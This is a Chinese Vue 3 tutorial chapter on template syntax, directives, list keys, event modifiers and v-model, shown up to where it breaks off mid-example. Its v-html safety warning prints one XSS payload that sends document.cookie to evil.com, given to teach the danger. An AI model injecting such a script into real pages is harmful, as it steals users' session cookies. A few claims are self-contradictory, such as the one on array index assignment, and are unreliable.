第3章 Vue 3 核心语法

第三章 Vue 3 核心语法

Vue 3 的核心语法就是你每天都要用的"家常便饭"。模板插值、条件渲染、列表渲染、事件处理、双向绑定、class 和 style 绑定——这些语法构成了 Vue 开发的基石。学好这一章,你就能写出大部分日常需求的代码了。这一章的内容非常实用,建议打开你的 IDE,跟着例子一个个敲过去,不要只看不练。

3.1 模板语法

3.1.1 双大括号插值(Mustache)

Vue 的模板语法是 Vue 最独特的地方——你可以在 HTML 里直接写 JavaScript 表达式,而不需要学习一套全新的模板语言。这种"在 HTML 里嵌 JavaScript"的写法有个专门的名字叫 Mustache(胡子)语法,因为 {{ }} 两个大括号看起来像一只小胡子。

双大括号插值是最基本的语法,它可以把一个 JavaScript 表达式的结果渲染到页面上:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<script setup>
import { ref } from 'vue'

// 普通字符串
const message = ref('你好,Vue 3!')

// 数字
const count = ref(42)

// 布尔值
const isActive = ref(true)

// 对象
const user = ref({ name: '小明', age: 25 })

// 数组
const tags = ref(['前端', 'Vue', 'JavaScript'])
</script>

<template>
  <!-- 插值可以显示任何 JavaScript 表达式的结果 -->
  <p>{{ message }}</p>           <!-- 输出你好Vue 3-->
  <p>{{ count + 10 }}</p>         <!-- 输出52 -->
  <p>{{ isActive ? '启用' : '禁用' }}</p>  <!-- 输出启用 -->
  <p>{{ user.name }}今年{{ user.age }}</p>  <!-- 输出小明今年25岁 -->
  <p>{{ tags.join('、') }}</p>    <!-- 输出前端VueJavaScript -->
</template>

双大括号里可以是任何 JavaScript 表达式——算术运算、三元运算符、方法调用、数组方法等都可以。但要注意,不能用 if 语句{{ if (x) { } }} 不合法),只能用表达式。如果你想根据条件显示不同内容,用 v-if 指令(后面会讲到)。

一个重要的特性:文本插值不会渲染 HTML。 如果你的字符串里含有 HTML 标签,比如 message.value = '<strong>粗体</strong>',双大括号会把这个当作文本来显示,而不是渲染成真正的粗体。要渲染原始 HTML,需要用 v-html 指令。

3.1.2 原始 HTML(v-html)

有时候你确实需要把一段 HTML 字符串渲染成真正的 HTML 元素——比如从服务器获取了一段富文本内容,或者用了一个 Markdown 渲染库生成了 HTML。这时候可以用 v-html 指令。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<script setup>
import { ref } from 'vue'

// 一段包含 HTML 标签的字符串
const htmlContent = ref('<strong>加粗文字</strong>和<em>斜体文字</em>')
const cardData = ref({
  title: 'Vue 3 入门指南',
  desc: '这是一本<strong>非常好</strong>的教程'
})
</script>

<template>
  <!-- v-html 会把字符串当作 HTML 来渲染 -->
  <!-- ⚠️ 注意永远不要对用户输入的字符串使用 v-html可能导致 XSS 攻击-->
  <div v-html="htmlContent"></div>

  <!-- 更常见的用法渲染从 API 获取的富文本 -->
  <article>
    <h2>{{ cardData.title }}</h2>
    <div v-html="cardData.desc"></div>
  </article>
</template>

⚠️ 安全警告: v-html 是一个"危险"的指令,因为它会把传入的字符串当作真正的 HTML 来执行。如果这个字符串来自用户的输入(比如评论内容、帖子正文),攻击者可能注入一段恶意脚本 <script>document.location='http://evil.com/?c='+document.cookie</script>,获取用户的 cookie 信息(也就是"偷cookie"攻击,术语叫 XSS——跨站脚本攻击)。生产环境中,对任何用户生成的内容使用 v-html 之前,务必先做 HTML 转义(escape)和过滤处理。

3.1.3 属性绑定(v-bind,缩写 :)

双大括号只能用在标签的内容(开始标签和结束标签之间)里,不能用在 HTML 标签的属性里。要动态绑定一个属性的值,需要用 v-bind 指令:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<script setup>
import { ref } from 'vue'

const title = ref('这是标题')
const isDisabled = ref(true)
const imgUrl = ref('https://picsum.photos/200')
const dynamicClass = ref('active')
</script>

<template>
  <!-- v-bind:属性名="表达式" -->
  <h1 v-bind:title="title">鼠标悬停看看</h1>

  <!-- 缩写v-bind:xxx 可以简写成 :xxx -->
  <button :disabled="isDisabled">不可点击的按钮</button>

  <!-- 图片的 src 属性 -->
  <img :src="imgUrl" alt="随机图片" />

  <!-- class 也可以用 v-bind -->
  <div :class="dynamicClass">动态 class</div>

  <!-- 多个属性绑定 -->
  <a :href="url" :target="target">链接</a>
</template>

v-bind 是 Vue 里最常用的指令之一,它的作用是"把右边表达式的值,绑定到左边这个 HTML 属性上"。当表达式的值变化时,属性会自动更新。

缩写 :xxxv-bind:xxx 的简写,这是实际开发中更常见的写法,因为更简洁。Vue 的模板里,你经常会看到 :src:class:disabled 等,这全都是 v-bind: 的缩写。

3.1.4 JavaScript 表达式支持

Vue 的模板支持完整的 JavaScript 表达式,但只能写单行表达式,不能写语句(if、for 等)。这已经覆盖了 99% 的日常需求。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<script setup>
import { ref } from 'vue'

const firstName = ref('张')
const lastName = ref('三')
const count = ref(5)
const isLoggedIn = ref(true)
const items = ref(['苹果', '香蕉', '橙子'])
const user = ref({ role: 'admin' })
</script>

<template>
  <!-- 字符串拼接 -->
  <p>{{ firstName + lastName }}</p>          <!-- 张三 -->

  <!-- 算术运算 -->
  <p>{{ count * 2 + 1 }}</p>                  <!-- 11 -->

  <!-- 三元运算符 -->
  <p>{{ isLoggedIn ? '欢迎回来' : '请登录' }}</p>  <!-- 欢迎回来 -->

  <!-- 逻辑运算符 -->
  <p>{{ count > 3 && '大于3' }}</p>            <!-- 大于3 -->

  <!-- 调用数组方法 -->
  <p>{{ items.filter(i => i.includes('果')).join('、') }}</p>  <!-- 苹果橙子 -->

  <!-- 调用字符串方法 -->
  <p>{{ user.role.toUpperCase() }}</p>        <!-- ADMIN -->

  <!-- 模板里的表达式 -->
  <p>{{ count > 10 ? '太多了' : '还好' }}</p>
</template>

需要特别注意的是:模板里的表达式有它自己的作用域。<script setup> 里定义的变量,可以直接在模板里使用,因为模板可以访问 setup 返回的一切。

3.1.5 模板语法限制

Vue 模板的表达式有一些硬性限制,需要提前知道:

  1. 不能写语句:不能写 ifforswitch、变量声明(letconst)等。只能用表达式。
  2. 不能访问全局对象:在模板里不能写 windowdocumentMathJSON(Vue 3.1+ 支持 Math,但最好不用)。需要用到这些时,在 <script setup> 里先处理好,再传给模板。
  3. 不能修改父组件的数据:模板里的表达式不应该有副作用(修改其他值)。Vue 的模板应该是"纯函数"——给定同样的数据,总是渲染出同样的结果。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<script setup>
// 正确的做法:把 Math 处理结果放到模板能访问的地方
const now = new Date()
const randomNum = Math.floor(Math.random() * 100)  // 不要在模板里直接调用 Math.random()
// 更推荐的写法:
import { computed } from 'vue'
const PI = computed(() => 3.14159)
</script>

<template>
  <!--错误在模板里调用 Math.random() 会产生副作用每次渲染结果不一样 -->
  <!-- <p>{{ Math.random() }}</p> -->

  <!--正确 script 里计算好再传给模板 -->
  <p>随机数{{ randomNum }}</p>
  <p>圆周率{{ PI }}</p>

  <!--错误不能修改数据 -->
  <!-- {{ count++ }} 这样写会报错修改数据要用方法 -->
</template>

3.2 条件渲染

3.2.1 v-if / v-else-if / v-else

条件渲染是根据数据的真假,决定是否渲染某个元素。Vue 提供了 v-ifv-else-ifv-else 三个指令,用法和 JavaScript 的 if/else if/else 完全一样。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<script setup>
import { ref } from 'vue'

const role = ref('admin')
const score = ref(85)
const isLoading = ref(false)
</script>

<template>
  <!-- v-if条件为 true 时渲染 -->
  <div v-if="isLoading">加载中...</div>

  <!-- v-else和前一个 v-if 配对 -->
  <div v-else>加载完成</div>

  <!-- v-else-if多重条件 -->
  <div v-if="role === 'admin'">管理员权限</div>
  <div v-else-if="role === 'editor'">编辑权限</div>
  <div v-else-if="role === 'user'">普通用户权限</div>
  <div v-else>访客权限</div>

  <!-- 配合 template 标签可以一次性控制多个元素 -->
  <template v-if="score >= 90">
    <p>成绩{{ score }}</p>
    <p>评级优秀 🎉</p>
  </template>

  <!-- 注意v-if  v-else-if 之间不能有其他元素 -->
  <!-- 下面的写法是错误的-->
  <!-- <div v-if="role === 'admin'">管理员</div> -->
  <!-- <span>中间插了一个元素</span> -->
  <!-- <div v-else>访客</div> -->
</template>

v-if真正的条件渲染——如果条件为 false,Vue 不会渲染这个元素到 DOM 里(可以通过开发者工具看到元素根本不存在)。这和 v-show(下一节会讲)有本质区别。

3.2.2 v-if vs v-show 区别与选择

Vue 有两个控制显示隐藏的指令:v-ifv-show。它们看起来差不多,但实现原理完全不同,适用的场景也完全不同。

v-ifv-show
实现原理真正的 DOM 插入/删除始终渲染,只是切换 CSS display
初始成本高(条件为 false 时不渲染)低(初始必定渲染)
切换成本高(重新创建/销毁 DOM)低(只切换 display 样式)
适用场景不频繁切换、内容复杂频繁切换、内容简单
配合指令支持 v-else-if / v-else不支持(只能单独用)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<script setup>
import { ref } from 'vue'

const isVisible = ref(true)
const showModal = ref(false)
</script>

<template>
  <!-- v-if条件为 false 元素直接不存在于 DOM  -->
  <div v-if="isVisible">我会显示</div>
  <div v-if="!isVisible">我不会显示DOM 里根本没有我</div>

  <!-- v-show始终存在于 DOM只是 CSS display  none -->
  <div v-show="isVisible">我用 v-show 控制</div>
  <div v-show="!isVisible" style="display: none;">我用 v-show 控制DOM 里还在只是看不见</div>

  <!-- 频繁切换的场景 ——  v-show -->
  <button @click="showModal = !showModal">切换弹窗</button>
  <div v-show="showModal" class="modal">这是一个弹窗</div>

  <!-- 条件很少变化内容复杂的场景 ——  v-if -->
  <div v-if="Math.random() > 0.5">
    <p>复杂的嵌套内容包含很多子元素</p>
    <p>{{ Math.random() }}</p>
    <img src="xxx" alt="xxx" />
  </div>
</template>

什么时候用哪个? 原则很简单:

  • 如果一个元素切换非常频繁(比如弹窗的显示/隐藏、Tab 切换),用 v-show,因为它只切换 CSS,不重新创建 DOM,开销小。
  • 如果一个元素条件很少变化(比如权限判断、内容根据用户角色显示不同),用 v-if,因为它能彻底把不必要的内容从 DOM 中移除,减少内存占用。
  • 如果一个元素初始可能是隐藏的,但页面加载性能很重要,也倾向于用 v-if,因为它初始不渲染,可以减少首屏渲染时间。

3.2.3 v-if 与 key 的配合

有时候,你可能希望 Vue 不仅控制元素的显示/隐藏,而是彻底销毁和重新创建这个元素——比如你有两个表单,切换时希望表单的状态(比如输入框的内容)被完全重置。这时候可以用 key 属性。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script setup>
import { ref } from 'vue'

const tab = ref('login')
</script>

<template>
  <!-- 点击切换时Vue 会认为这是不同的组件 -->
  <!-- 因为 key 不一样所以会销毁旧的创建新的完全重置状态-->
  <div v-if="tab === 'login'" key="login-form">
    <h2>登录</h2>
    <input placeholder="用户名" />
    <input type="password" placeholder="密码" />
  </div>
  <div v-else key="register-form">
    <h2>注册</h2>
    <input placeholder="用户名" />
    <input type="password" placeholder="密码" />
    <input type="email" placeholder="邮箱" />
  </div>

  <!-- 简写如果不写 keyVue 会尽量复用已有的 DOM 元素性能更好-->
  <!-- 写上 key可以强制 Vue 不复用重新创建 -->
</template>

Vue 的虚拟 DOM diff 算法会尽量复用已有的 DOM 元素来提高性能——这叫做"元素复用"或"元素就地更新"。给元素加上 key 属性后,Vue 知道"这两个元素即使看起来一样,但实际上不是同一个",就会销毁旧元素、创建新元素。这个机制常用于强制重置表单状态或者动画切换等场景。

3.3 列表渲染

3.3.1 v-for 遍历数组、对象、数字、字符串

v-for 是 Vue 里最强大的指令之一,它可以遍历数组、对象、数字、字符串等各种可迭代对象,把数据一一映射到页面上。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<script setup>
import { ref } from 'vue'

// 数组
const fruits = ref(['苹果', '香蕉', '橙子', '葡萄'])

// 对象
const person = ref({
  name: '小明',
  age: 25,
  city: '北京',
  hobby: '编程'
})

// 数字
const count = ref(5)

// 字符串
const text = ref('Hello')
</script>

<template>
  <!-- 遍历数组item 是当前元素index 是索引 -->
  <ul>
    <li v-for="(fruit, index) in fruits" :key="index">
      {{ index + 1 }}. {{ fruit }}
    </li>
  </ul>

  <!-- 遍历对象value 是值key 是属性名index 是索引 -->
  <dl>
    <template v-for="(value, key, index) in person" :key="key">
      <dt>{{ key }}</dt>
      <dd>{{ value }}</dd>
    </template>
  </dl>

  <!-- 遍历数字item 是从 1  n 的数字 -->
  <p>
    <span v-for="n in count" :key="n">{{ n }} </span>
  </p>

  <!-- 遍历字符串item 是每个字符 -->
  <p>
    <span v-for="(char, i) in text" :key="i">{{ char }} </span>
  </p>
</template>

3.3.2 key 的作用与唯一性要求

key 是 v-for 里最重要的属性! 它告诉 Vue"每个渲染出来的元素是独一无二的"。有了 key,Vue 在更新列表时就能精准地找到"哪个元素变了、哪个元素删了、哪个元素新增了",而不是傻傻地把整个列表重新渲染一遍。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<script setup>
import { ref } from 'vue'

const users = ref([
  { id: 1, name: '张三', age: 25 },
  { id: 2, name: '李四', age: 30 },
  { id: 3, name: '王五', age: 28 }
])

function addUser() {
  users.value.unshift({ id: Date.now(), name: '新用户', age: 20 })
}
</script>

<template>
  <button @click="addUser">添加用户</button>

  <!-- key 必须唯一不能用 index 作为 key 的场景后面会讲 -->
  <!-- 这里用 user.id因为它是唯一的 -->
  <div v-for="user in users" :key="user.id">
    {{ user.name }} - {{ user.age }}
  </div>
</template>

3.3.3 为什么不能以 index 作为 key

这是一个面试高频题,也是一个实际开发中的大坑。

用 index(索引)作为 key 在大多数简单场景下看起来没问题——列表渲染时,index 从 0 开始递增,每个元素都有一个唯一的数字。Vue 会很开心地渲染出 [0, 1, 2, 3...] 这些 key。

但问题出现在"列表中间插入或删除元素"的时候。 让我用图来解释:

flowchart LR
    subgraph "原始列表"
        I0["0: 张三"]
        I1["1: 李四"]
        I2["2: 王五"]
    end

    subgraph "插入'赵六'到最前面后"
        N0["0: 赵六"]
        N1["1: 张三"]
        N2["2: 李四"]
        N3["3: 王五"]
    end

    I0 --> N0
    I1 --> N1
    I2 --> N2

当用 index 做 key 时,插入前 [张三, 李四, 王五] 的 key 是 [0, 1, 2],插入后变成 [赵六, 张三, 李四, 王五] 的 key 是 [0, 1, 2, 3]

问题来了: Vue 的 diff 算法看到的是:key 0 的人从张三变成了赵六(更新),key 1 的人从李四变成了张三(更新),key 2 的人从王五变成了李四(更新),key 3 是新增的。这意味着 Vue 以为所有的 DOM 节点都"变了",它会销毁所有旧的 DOM 节点,重新创建新的——这完全违背了"复用 DOM、只做最小更新"的初衷,性能大打折扣。

如果用 id 做 key,插入后的结构变成:key 赵六的id(新增)、key 1(张三,没变)、key 2(李四,没变)、key 3(王五,没变)——Vue 只创建一个新的 DOM 节点,其他全部复用,性能最优。

结论:永远不要用 index 作为 key。 用数据的唯一标识字段(id、uuid、nanoid 等)作为 key。

3.3.4 数组更新检测(push/pop/shift/splice 等)

Vue 3 的响应式系统能检测到大部分数组操作的变化,包括:push()(末尾添加)、pop()(末尾删除)、shift()(头部删除)、unshift()(头部添加)、splice()(插入/删除/替换)、sort()(排序)、reverse()(反转)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<script setup>
import { ref } from 'vue'

const colors = ref(['红', '绿', '蓝'])

function addColor() {
  // 末尾添加
  colors.value.push('黄')
}

function removeFirst() {
  // 头部删除
  colors.value.shift()
}

function insertSecond() {
  // 在索引1的位置插入一个元素(不删除)
  colors.value.splice(1, 0, '粉')
}

function replaceSecond() {
  // 在索引1的位置替换一个元素
  colors.value.splice(1, 1, '紫')
}

function reverseColors() {
  // 反转
  colors.value.reverse()
}

function sortColors() {
  // 排序(按 Unicode 编码排序)
  colors.value.sort()
}
</script>

<template>
  <p>当前颜色{{ colors.join('、') }}</p>

  <button @click="addColor">添加黄色</button>
  <button @click="removeFirst">删除第一个</button>
  <button @click="insertSecond">在第二个位置插入粉色</button>
  <button @click="replaceSecond">把第二个替换成紫色</button>
  <button @click="reverseColors">反转顺序</button>
  <button @click="sortColors">排序</button>
</template>

一个重要的例外:直接通过索引赋值不会自动检测到变化! 比如 colors.value[0] = '新颜色' 不会触发视图更新。正确的做法是使用 splice

1
2
3
4
5
// ❌ 错误:不会触发响应式更新
colors.value[0] = '新颜色'

// ✅ 正确:用 splice
colors.value.splice(0, 1, '新颜色')

Vue 3 已经改善了这个问题——Proxy 可以检测到数组索引的赋值操作,但为了兼容性考虑(以及代码清晰),还是推荐使用数组方法来进行修改。

3.3.5 过滤与排序(计算属性配合)

列表渲染最常见的场景之一是"过滤和排序"——比如一个商品列表,用户输入关键词后只显示匹配的商品,或者按价格排序。这正好是计算属性(computed) 的经典应用场景。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<script setup>
import { ref, computed } from 'vue'

const products = ref([
  { id: 1, name: 'iPhone 15', price: 7999, category: '手机' },
  { id: 2, name: 'MacBook Pro', price: 19999, category: '电脑' },
  { id: 3, name: 'AirPods Pro', price: 1899, category: '配件' },
  { id: 4, name: 'iPad Air', price: 4799, category: '平板' },
  { id: 5, name: 'Apple Watch', price: 2999, category: '手表' },
  { id: 6, name: '小米 14', price: 3999, category: '手机' }
])

const searchKeyword = ref('')
const sortBy = ref('default') // default | price-asc | price-desc

// 计算属性:根据关键词过滤 + 根据排序方式排序
const filteredProducts = computed(() => {
  let result = [...products.value]  // 先复制一份,避免修改原数组

  // 过滤
  if (searchKeyword.value) {
    result = result.filter(p =>
      p.name.toLowerCase().includes(searchKeyword.value.toLowerCase()) ||
      p.category.toLowerCase().includes(searchKeyword.value.toLowerCase())
    )
  }

  // 排序
  if (sortBy.value === 'price-asc') {
    result.sort((a, b) => a.price - b.price)
  } else if (sortBy.value === 'price-desc') {
    result.sort((a, b) => b.price - a.price)
  }

  return result
})
</script>

<template>
  <!-- 搜索框 -->
  <input v-model="searchKeyword" placeholder="搜索商品名称或分类..." />

  <!-- 排序选择 -->
  <select v-model="sortBy">
    <option value="default">默认顺序</option>
    <option value="price-asc">价格从低到高</option>
    <option value="price-desc">价格从高到低</option>
  </select>

  <!-- 商品列表 -->
  <div class="product-list">
    <div v-for="product in filteredProducts" :key="product.id" class="product-card">
      <h3>{{ product.name }}</h3>
      <p>分类{{ product.category }}</p>
      <p class="price">{{ product.price.toLocaleString() }}</p>
    </div>
  </div>

  <!-- 没有结果时 -->
  <p v-if="filteredProducts.length === 0">没有找到匹配的商品</p>
</template>

<style scoped>
.product-list {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
  gap: 16px;
}

.product-card {
  border: 1px solid #ddd;
  padding: 12px;
  border-radius: 8px;
}

.price {
  color: #e63946;
  font-weight: bold;
}
</style>

计算属性的好处是:它会自动缓存结果。只要 productssearchKeywordsortBy 没有变化,无论 filteredProducts 被访问多少次,Vue 不会重复计算——只有当这些依赖变化时,才会重新计算。相比之下,如果你在模板里直接写过滤和排序的逻辑,每次渲染都会重复计算,浪费性能。

3.4 事件处理

3.4.1 事件绑定(v-on,缩写 @)

在 Vue 里,用户和页面的交互(点击按钮、按下键盘、输入文字等)都是通过事件来处理的。Vue 用 v-on 指令来绑定事件处理函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script setup>
function handleClick() {
  console.log('按钮被点击了!')
}

function handleInput(e) {
  console.log('输入了:', e.target.value)
}

function handleSubmit() {
  console.log('表单提交了')
}
</script>

<template>
  <!-- v-on:事件名="处理函数" -->
  <button v-on:click="handleClick">点我</button>

  <!-- @事件名  v-on:事件名 的简写实际开发中更常用 -->
  <input @input="handleInput" placeholder="输入点东西..." />
  <form @submit.prevent="handleSubmit">
    <button type="submit">提交表单</button>
  </form>
</template>

@v-on: 的缩写,是 Vue 模板里最常见的写法之一。两者完全等价。

3.4.2 内联处理器 vs 方法处理器

事件处理有两种写法:内联处理器(直接写表达式)和方法处理器(调用一个已定义的函数)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<script setup>
import { ref } from 'vue'

const count = ref(0)

// 方法处理器:把函数名当作事件处理函数
function increment() {
  count.value++
}

function greet(name) {
  console.log(`你好,${name}!`)
}
</script>

<template>
  <!-- 方法处理器handleClick 是上面定义的函数 -->
  <button @click="increment">计数{{ count }}</button>

  <!-- 内联处理器直接在模板里写表达式适合简单逻辑 -->
  <button @click="count++">内联方式 +1</button>

  <!-- 内联处理器也可以传参数 -->
  <button @click="greet('小明')">打招呼</button>

  <!-- 如果方法需要事件对象 $event -->
  <button @click="(e) => handleClick(e)">带事件对象</button>
  <!-- 或者用这种写法Vue 会自动把事件对象作为第一个参数传入 -->
  <button @click="handleClick">传事件对象另一种写法</button>
</template>

什么时候用哪个? 原则是:

  • 逻辑简单(只有一行)→ 内联处理器更直观
  • 逻辑复杂(有多个语句、需要复用)→ 方法处理器更清晰
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<script setup>
// 方法处理器 —— 逻辑复杂的时候用
function handleFormSubmit(e) {
  e.preventDefault()
  const formData = new FormData(e.target)
  console.log('用户名:', formData.get('username'))
  console.log('密码:', formData.get('password'))
  // 发送 API 请求...
}
</script>

<template>
  <form @submit.prevent="handleFormSubmit">
    <!-- .prevent 是事件修饰符后面会讲 -->
    <input name="username" placeholder="用户名" />
    <input name="password" type="password" />
    <button type="submit">登录</button>
  </form>
</template>

3.4.3 事件修饰符(stop、prevent、capture、self、once、passive)

事件修饰符是 Vue 提供的一种简写,用来快速处理常见的事件行为,而不需要在处理函数里手动调用 e.stopPropagation()e.preventDefault()

修饰符等价的 JS 操作用途
.stope.stopPropagation()阻止事件冒泡
.prevente.preventDefault()阻止默认行为
.capture捕获阶段处理使用事件捕获而不是冒泡
.self事件源是自身只有自身是事件源时才触发
.once事件只触发一次
.passive提升滚动性能(不调用 preventDefault)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<script setup>
function handleDivClick() {
  console.log('div 被点击了')
}

function handleBtnClick(e) {
  console.log('按钮被点击了')
}

function handleLinkClick() {
  console.log('链接被点击了')
}
</script>

<template>
  <!-- .stop —— 阻止事件冒泡 -->
  <!-- 点击按钮时不会触发 div 的点击事件 -->
  <div @click="handleDivClick">
    <button @click.stop="handleBtnClick">点我不会冒泡到 div</button>
  </div>

  <!-- .prevent —— 阻止默认行为 -->
  <!-- 点击链接不会跳转到 href 的地址 -->
  <a href="https://example.com" @click.prevent="handleLinkClick">点击我不跳转</a>

  <!-- .self —— 只有点击元素自身时才触发子元素的不算) -->
  <div @click.self="handleDivClick">
    <p>里面的内容</p>
    <button>按钮</button>
    <!-- 点击按钮会冒泡到 div .self 不会触发 -->
    <!-- 只有直接点击 div 本身才会触发 -->
  </div>

  <!-- .once —— 事件只触发一次 -->
  <button @click.once="handleBtnClick">只触发一次</button>

  <!-- .passive —— 提升滚动性能scroll 事件不会阻塞页面 -->
  <!-- 特别适合 window.addEventListener('scroll', handler, { passive: true }) -->
  <div @scroll.passive="handleScroll" class="scrollable-box">
    大量的内容...
  </div>
</template>

3.4.4 按键修饰符(enter、tab、esc、space 等)

Vue 为键盘事件提供了专门的修饰符,用来监听特定按键的按下。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<script setup>
function handleEnter() {
  console.log('用户按了回车键')
}

function handleEsc() {
  console.log('用户按了退出键')
}

function handleSpace() {
  console.log('用户按了空格键')
}
</script>

<template>
  <!-- 按下回车键时触发 -->
  <input @keydown.enter="handleEnter" placeholder="按回车提交..." />

  <!-- 按下 Esc 时触发 -->
  <input @keydown.esc="handleEsc" placeholder="按 Esc 清空..." />

  <!-- 按下空格键时触发 -->
  <button @keydown.space="handleSpace">按空格键</button>

  <!-- 任意按键 —— .exact 修饰符精确修饰符) -->
  <!-- 只有 Ctrl + Enter 时才触发Ctrl + 其他键不会触发 -->
  <textarea @keydown.ctrl.enter="handleCtrlEnter"></textarea>
</template>

常用的按键修饰符包括:entertabdelete(删除键)、escspaceupdownleftright。如果这些不够用,还可以用 e.key 的值来指定任意按键,比如 @keydown.a(按 A 键)或 @keydown.page-down(按 Page Down 键)。

3.4.5 系统修饰符(ctrl、shift、alt、meta、exact)

系统修饰符用来监听"系统级"的按键组合,比如 Ctrl+C(复制)、Ctrl+S(保存)等。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<script setup>
function handleSave() {
  console.log('Ctrl + S 保存快捷键触发了!')
}

function handleCopy() {
  console.log('Ctrl + C 复制触发了!')
}

function handleRightClick() {
  console.log('右键菜单')
}

// .exact —— 精确匹配修饰符
// 只有 Ctrl+Shift+Z 时触发,单独 Ctrl 或单独 Shift 都不行
function handleRedo() {
  console.log('Ctrl + Shift + Z (重做)')
}
</script>

<template>
  <!-- Ctrl + S -->
  <div @keydown.ctrl.s.prevent="handleSave">
    按住 Ctrl 再按 S页面级快捷键  </div>

  <!-- Shift + 单击 —— 经常用于多选 -->
  <button @click.shift="handleShiftClick">Shift + Click多选模式</button>

  <!-- Alt + Enter -->
  <textarea @keydown.alt.enter="handleAltEnter"></textarea>

  <!-- .exact —— 精确组合 -->
  <button @click.exact="handleExactClick">只有在没有任何修饰键时才触发</button>

  <!-- 右键点击自定义右键菜单) -->
  <div @contextmenu.prevent="handleRightClick">右键点击我</div>
</template>

3.4.6 鼠标按钮修饰符

Vue 还提供了鼠标按钮的修饰符,用来区分鼠标左键、右键和中键。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<script setup>
function handleLeftClick() {
  console.log('鼠标左键点击')
}

function handleRightClick(e) {
  e.preventDefault()  // 阻止默认右键菜单
  console.log('鼠标右键点击')
}

function handleMiddleClick() {
  console.log('鼠标中键点击(滚轮点击)')
}
</script>

<template>
  <button @click.left="handleLeftClick">左键点击我</button>
  <button @click.right.prevent="handleRightClick">右键点击我</button>
  <button @click.middle="handleMiddleClick">中键点击我</button>
</template>

3.5 双向绑定

3.5.1 v-model 基础(表单场景)

v-model 是 Vue 里最神奇也最常用的指令之一。它的作用是双向绑定——数据变化,视图自动更新;用户修改视图,数据也自动变化。

在表单场景下,v-model 让"获取用户输入"变得极其简单:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<script setup>
import { ref } from 'vue'

// v-model 会自动把用户输入的值同步到这些 ref 上
const username = ref('')
const email = ref('')
const password = ref('')
const gender = ref('')
const subscribe = ref(false)
const city = ref('')

function handleSubmit() {
  console.log('用户名:', username.value)
  console.log('邮箱:', email.value)
  console.log('密码:', password.value)
  console.log('性别:', gender.value)
  console.log('订阅:', subscribe.value)
  console.log('城市:', city.value)
}
</script>

<template>
  <form @submit.prevent="handleSubmit">
    <!-- 文本输入 -->
    <input v-model="username" placeholder="用户名" type="text" />
    <!-- 等价于<input :value="username" @input="username = $event.target.value" /> -->

    <!-- 邮箱输入 -->
    <input v-model="email" placeholder="邮箱" type="email" />

    <!-- 密码输入 -->
    <input v-model="password" placeholder="密码" type="password" />

    <!-- 单选框 -->
    <div>
      <label><input type="radio" v-model="gender" value="male" /> </label>
      <label><input type="radio" v-model="gender" value="female" /> </label>
      <label><input type="radio" v-model="gender" value="other" /> 其他</label>
    </div>

    <!-- 复选框 -->
    <label>
      <input type="checkbox" v-model="subscribe" />
      订阅我们的 newsletter
    </label>

    <!-- 下拉选择 -->
    <select v-model="city">
      <option value="">请选择城市</option>
      <option value="beijing">北京</option>
      <option value="shanghai">上海</option>
      <option value="shenzhen">深圳</option>
    </select>

    <button type="submit">提交</button>
  </form>
</template>

v-model 的神奇之处在于,它对不同类型的表单元素有不同的默认行为:

  • input[type=text] / textarea:绑定 value 属性,监听 input 事件
  • input[type=checkbox/radio]:绑定 checked 属性,监听 change 事件
  • select:绑定 value 属性,监听 change 事件

3.5.2 v-model 修饰符(.lazy、.number、.trim)

v-model 有三个修饰符,用来微调双向绑定的行为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<script setup>
import { ref } from 'vue'

// .lazy —— 失去焦点或按回车时才更新(不实时同步)
const lazyInput = ref('')

